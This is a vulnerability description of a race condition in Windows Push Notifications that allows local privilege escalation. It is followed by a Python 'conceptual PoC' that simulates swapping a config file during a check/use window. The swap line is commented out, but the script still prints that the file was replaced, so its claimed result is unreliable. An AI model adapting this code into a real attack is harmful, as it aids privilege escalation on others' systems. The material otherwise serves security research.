Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Push Notifications allows an authorized attacker to elevate privileges locally.
The following code is for security research and authorized testing only.
python
import threading
import os
import time
# Conceptual PoC for Race Condition in Windows Push Notifications
# This script simulates a concurrent execution attempt to exploit a synchronization flaw.
VULNERABLE_FILE = "C:\\ProgramData\\Microsoft\\Windows\\PushNotifications\\config.db"
ATTACKER_FILE = "C:\\Users\\LowPriv\\AppData\\Local\\Temp\\malicious_config.db"
def simulate_vulnerable_service_check():
"""
Simulates the service checking the file integrity.
In a real scenario, this would be the 'Check' part of TOCTOU.
"""
print("[Service] Checking resource...")
time.sleep(0.1) # Simulate processing time creating a race window
if os.path.exists(VULNERABLE_FILE):
print("[Service] Resource exists. Proceeding to load...")
# Vulnerability: The handle is opened here after the race window
try:
with open(VULNERABLE_FILE, 'r') as f:
print(f"[Service] Loaded content: {f.read()}")
except Exception as e:
print(f"[Service] Error loading file: {e}")
def simulate_attacker_replacement():
"""
Simulates the attacker replacing the file during the race window.
"""
print("[Attacker] Waiting for check window...")
# Wait slightly to hit the gap between Check and Use
time.sleep(0.05)
try:
# In a real exploit, this might require specific file system privileges or oplocks
if os.path.exists(ATTACKER_FILE):
print("[Attacker] Replacing target file with malicious link...")
# os.replace(VULNERABLE_FILE, ATTACKER_FILE) # Operation requires specific permissions
print("[Attacker] File replaced successfully.")
except Exception as e:
print(f"[Attacker] Failed to replace file: {e}")
if __name__ == "__main__":
print("Starting Race Condition PoC Simulation...")
# Create dummy files for simulation
if not os.path.exists(ATTACKER_FILE):
with open(ATTACKER_FILE, 'w') as f:
f.write("MALICIOUS PAYLOAD")
# Setup threads to run concurrently
t1 = threading.Thread(target=simulate_vulnerable_service_check)
t2 = threading.Thread(target=simulate_attacker_replacement)
t1.start()
t2.start()
t1.join()
t2.join()
print("Simulation completed.")